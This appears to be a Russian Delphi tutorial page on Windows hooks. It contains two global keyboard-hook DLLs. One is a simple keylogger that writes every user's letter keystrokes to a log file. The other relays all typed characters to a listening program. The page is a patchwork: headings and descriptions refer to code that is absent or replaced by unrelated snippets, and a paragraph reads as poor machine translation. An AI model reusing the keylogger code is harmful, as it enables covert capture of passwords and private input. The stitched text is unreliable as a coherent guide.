Взаимодействие процессов

Архитектура Win32 подразумевает максимальную изоляцию выполняющихся приложений друг от друга. Каждое приложение выполняется в своем виртуальном адресном пространстве, которое полностью обособлено и не имеет доступа к памяти других программ. Однако иногда возникает необходимость в передаче данных их одного выполняющегося процесса в другой. Рассмотрим подробно одну из таких задач, а затем основные способы связи между процессами и рекомендации по их применению.

 

Пишем перехватчик клавиатуры

 

Code:

library Hook;

uses Windows, SysUtils;

const KF_UP_MY = $40000000;

var CurrentHook: HHook;

   KeyArray: array[0..19] of char;

   KeyArrayPtr: integer;

   CurFile:text;

function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:

integer): longword; stdcall;

var

i:integer;

begin

if code< 0 then

  begin

    result:=CallNextHookEx(CurrentHook,code,wParam,lparam);

    Exit;

  end;

if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then

   begin

     KeyArray[KeyArrayPtr]:=char(wParam);

     KeyArrayPtr:=KeyArrayPtr+1;

     if KeyArrayPtr> 19 then

      begin

       for i:=0 to 19 do

       begin

         Assignfile(CurFile,'d:\log.txt');

         if fileexists('d:\log.txt')=false then rewrite(CurFile)

         else Append(CurFile);

         write(Curfile, KeyArray[i]);

         closefile(curfile);

       end;

       KeyArrayPtr:=0;

      end;

   end;

   CallNextHookEx(CurrentHook,code,wParam,lparam);

   result:=0;

end;

procedure SetupGlobalKeyBoardHook;

begin

CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);

KeyArrayptr:=0;

end;

procedure unhook;

begin

UnhookWindowshookEx(CurrentHook);

end;

 

exports

SetupGlobalKeyBoardHook, UnHook;

begin

end.

 

** Что такое крюк? **

 

 Крюк-это точка в механизме обработки системных сообщений, где  приложение может установить подпрограмму для мониторинга трафика сообщений в

 системе и обрабатывать определенные типы Сообщений прежде, чем они достигнут целевой оконной процедуры.

 

 Чтобы использовать механизм окна крюк, программа вызывает функцию SetWindowsHookEx() API-интерфейс,  передача адреса процедуры hook, которая уведомляется, когда указанное

 событие происходит. SetWindowsHookEx() возвращает адрес ранее установленного  обработать процедуру для того же типа события. Этот адрес-это важно,

 потому что процедуры крючка такого же типа образуют своеобразную цепочку.  Windows уведомляет первую процедуру в цепочке при возникновении события,

 и каждая процедура отвечает за передачу уведомления.  Для этого процедура подключения должна вызвать CallNextHookEx() функции API,

 адрес прохождения предыдущей процедуры крюка.

 

 -- >Все системные крючки должны находиться в динамической библиотеке ссылок.

 

 ** Тип крюка, используемый в этом примере кода: **

 

 На WH_GETMESSAGE крючок позволяет приложение для мониторинга и перехвата Сообщений  о том, чтобы быть возвращены функции getmessage или PeekMessage функции.

//  * Unit Name : HookDLL

//  * Purpose   : Демонстрационный пример хука и подмены API в приложениях...

//  * Author    : Александр (Rouse_) Багель

//  * Version   : 1.00

 

Код не маленький, посему вынесем отдельно

 

 

Code:

program Project1;

 

uses

Forms,

Unit1 in '..\Hooks1\Unit1.pas' {Form1};

 

{$R *.RES}

 

begin

Application.Initialize;

Application.CreateForm(TForm1, Form1);

Application.Run;

end.

 

// *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* //

 

Что такое НООК?

НООК - это механизм перехвата сообщений, предоставляемый системой Microsoft Windows. Программист пишет специального вида функцию (НООК-функция), которая затем при помощи функции SetWindowsHookEx вставляется на верх стека НООК-функций системы. Ваша НООК-функция сама решает, передать ли ей сообщение в следующую НООК-функцию при помощи CallNextHookEx или нет.

 

Какие бывает НООК'и?

НООК бывают глобальные, контролирующие всю систему, так и локальные, ориентированные на какой-либо поток (Thread). Кроме того НООК различаются по типу перехватываемых сообщений (подробнее об этом - ниже). НООК несколько подтормаживают систему, поэтому ставить их рекомендуется только при необходимости, и кактолько необходимость в них отпадает - удалять.

 

  

EXE:

Code:

program Project2;

uses windows;

 

var

  sethook:procedure(flag:bool)stdcall;

  hDll:hModule;

 

begin

hDll:=LoadLibrary('Mouse_mes.dll');

@sethook:=GetProcAddress(hDll, 'sethook');

sethook(true);

messagebox(0,'Не закрывай, пока идет работа','',0);

sethook(false);

FreeLibrary(hDll);

end.

 

 

Возможные вариации: Любые вопросы, связанные с постановкой хука. Например "Как отследить [что-то]", "Как подменить [какое-то действие]", "Как заблокировать комбинации клавиш, как заблокировать определённые действия", "Как не дать запускаться определённым приложениям, не дать открываться определённым окнам?", "Как получить список запущенных оконных приложений?" и т.д.

 

Рабочий пример глобальной блокировки правой кнопки мыши:

Рано или поздно каждый программист сталкивается с таким понятим как ловушки. Чтобы приступить к ипользованию ловушек необходимо обзавестись windows SDK, который можно так же скачать с сайта Microsoft. В прилагаемом к статье архиве содержатся два проекта: hooks.dpr - это пример приложения работающего с ловушками, а hookdll.dpr - собственно сама DLL.

Что такое ловушки (Hooks)?

Для отслеживания каких-то событий во всей Windows нужно установить ловушку (hook). Например, такая ловушка может отслеживать все события, связанные с мышью, где бы ни находился курсор. Можно отслеживать и события клавиатуры.

Для ловушки нужна функция, которая, после установки ловушки при помощи SetWindowsHookEx, будет вызываться при каждом нужном событии. Эта функция получает всю информацию о событии. UnhookWindowsHookEx уничтожает ловушку.

Эта программа отслеживает все сообщения, связанные с мышью и клавиатурой. CheckBox1 показывает состояние левой клавиши мыши, CheckBox2 показывает состояние правой клавиши мыши, а CheckBox3 показывает, нажата ли какая-либо клавиша на клавиатуре.

Code:

// 1. Library Code for a Key Hook DLL

 

 

library HookLib;

 

uses

  madExcept,

  Windows,

  Messages,

  SysUtils;

 

type

  PHookRec = ^THookRec;

  THookRec = record

    AppHnd: Integer;

    MemoHnd: Integer;

  end;

 

var

  Hooked: Boolean;

  hKeyHook, hMemo, hMemFile, hApp: HWND;

  PHookRec1: PHookRec;

 

function KeyHookFunc(Code, VirtualKey, KeyStroke: Integer): LRESULT; stdcall;

var

  KeyState1: TKeyBoardState;

  AryChar: array[0..1] of Char;

  Count: Integer;

begin

  Result := 0;

  if Code = HC_NOREMOVE then Exit;

  Result := CallNextHookEx(hKeyHook, Code, VirtualKey, KeyStroke);

  {I moved the CallNextHookEx up here but if you want to block

  or change any keys then move it back down}

  if Code < 0 then

    Exit;

 

  if Code = HC_ACTION then

  begin

    if ((KeyStroke and (1 shl 30)) <> 0) then

      if not IsWindow(hMemo) then

      begin

       {I moved the OpenFileMapping up here so it would not be opened

       unless the app the DLL is attatched to gets some Key messages}

        hMemFile  := OpenFileMapping(FILE_MAP_WRITE, False, 'Global7v9k');

        PHookRec1 := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);

        if PHookRec1 <> nil then

        begin

          hMemo := PHookRec1.MemoHnd;

          hApp  := PHookRec1.AppHnd;

        end;

      end;

    if ((KeyStroke and (1 shl 30)) <> 0) then

    begin

      GetKeyboardState(KeyState1);

      Count := ToAscii(VirtualKey, KeyStroke, KeyState1, AryChar, 0);

      if Count = 1 then

      begin

        SendMessage(hMemo, WM_CHAR, Ord(AryChar[0]), 0);

        {I included 2 ways to get the Charaters, a Memo Hnadle and

        a WM_USER+1678 message to the program}

        PostMessage(hApp, WM_USER + 1678, Ord(AryChar[0]), 0);

      end;

    end;

  end;

end;

 

 

function StartHook(MemoHandle, AppHandle: HWND): Byte; export;

begin

  Result := 0;

  if Hooked then

  begin

    Result := 1;

    Exit;

  end;

  if not IsWindow(MemoHandle) then

  begin

    Result := 4;

    Exit;

  end;

  hKeyHook := SetWindowsHookEx(WH_KEYBOARD, KeyHookFunc, hInstance, 0);

  if hKeyHook > 0 then

  begin

    {you need to use a mapped file because this DLL attatches to every app

    that gets windows messages when it's hooked, and you can't get info except

    through a Globally avaiable Mapped file}

    hMemFile := CreateFileMapping($FFFFFFFF, // $FFFFFFFF gets a page memory file

     nil,                // no security attributes

     PAGE_READWRITE,     // read/write access

     0,                  // size: high 32-bits

     SizeOf(THookRec),   // size: low 32-bits

     //SizeOf(Integer),

     'Global7v9k');    // name of map object

   PHookRec1 := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);

    hMemo := MemoHandle;

    PHookRec1.MemoHnd := MemoHandle;

    hApp := AppHandle;

    PHookRec1.AppHnd := AppHandle;

    {set the Memo and App handles to the mapped file}

    Hooked := True;

  end

  else

    Result := 2;

end;

 

function StopHook: Boolean; export;

begin

  if PHookRec1 <> nil then

  begin

    UnmapViewOfFile(PHookRec1);

    CloseHandle(hMemFile);

    PHookRec1 := nil;

  end;

  if Hooked then

    Result := UnhookWindowsHookEx(hKeyHook)

  else

    Result := True;

  Hooked := False;

end;

 

procedure EntryProc(dwReason: DWORD);

begin

  if (dwReason = Dll_Process_Detach) then

  begin

    if PHookRec1 <> nil then

    begin

      UnmapViewOfFile(PHookRec1);

      CloseHandle(hMemFile);

    end;

    UnhookWindowsHookEx(hKeyHook);

  end;

end;

 

exports

  StartHook,

  StopHook;

 

begin

  PHookRec1 := nil;

  Hooked := False;

  hKeyHook := 0;

  hMemo := 0;

  DLLProc := @EntryProc;

  EntryProc(Dll_Process_Attach);

end.

 


 

2. Code from the calling Program

{this program get's the Char from the DLL in 2 ways,

as a Char message to a Memo and as a DLLMessage WM_USER+1678}

 

Code:

unit Unit1;

 

interface

 

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

  Dialogs, StdCtrls;

 

type

  TForm1 = class(TForm)

    but_StartHook: TButton;

    but_StopHook: TButton;

    label1: TLabel;

    Memo1: TMemo;

    procedure but_StartHookClick(Sender: TObject);

    procedure but_StopHookClick(Sender: TObject);

  private

    { Private declarations }

    hLib2: THandle;

    DllStr1: string;

    procedure DllMessage(var Msg: TMessage); message WM_USER + 1678;

  public

    { Public declarations }

  end;

 

var

  Form1: TForm1;

 

implementation

 

{$R *.dfm}

 

procedure TForm1.DllMessage(var Msg: TMessage);

begin

  if (Msg.wParam = 8) or (Msg.wParam = 13) then Exit;

  {the 8 is the Backspace and the 13 if the Enter key, You'll need to

do some special handleing for a string}

  DllStr1 := DllStr1 + Chr(Msg.wParam);

  label1.Caption := DllStr1;

end;

 

procedure TForm1.but_StartHookClick(Sender: TObject);

type

  TStartHook = function(MemoHandle, AppHandle: HWND): Byte;

var

  StartHook1: TStartHook;

  SHresult: Byte;

begin

  hLib2 := LoadLibrary('HookLib.dll');

  @StartHook1 := GetProcAddress(hLib2, 'StartHook');

  if @StartHook1 = nil then Exit;

  SHresult := StartHook1(Memo1.Handle, Handle);

  if SHresult = 0 then ShowMessage('the Key Hook was Started, good');

  if SHresult = 1 then ShowMessage('the Key Hook was already Started');

  if SHresult = 2 then ShowMessage('the Key Hook can NOT be Started, bad');

  if SHresult = 4 then ShowMessage('MemoHandle is incorrect');

end;

 

procedure TForm1.but_StopHookClick(Sender: TObject);

type

  TStopHook = function: Boolean;

var

  StopHook1: TStopHook;

  hLib21: THandle;

begin

  @StopHook1 := GetProcAddress(hLib2, 'StopHook');

  if @StopHook1 = nil then

  begin

    ShowMessage('Stop Hook DLL Mem Addy not found');

    Exit;

  end;

  if StopHook1 then

    ShowMessage('Hook was stoped');

  FreeLibrary(hLib2);

  {for some reason in Win XP you need to call FreeLibrary twice

maybe because you get 2 functions from the DLL? ?}

  FreeLibrary(hLib2);

end;

 

 

end.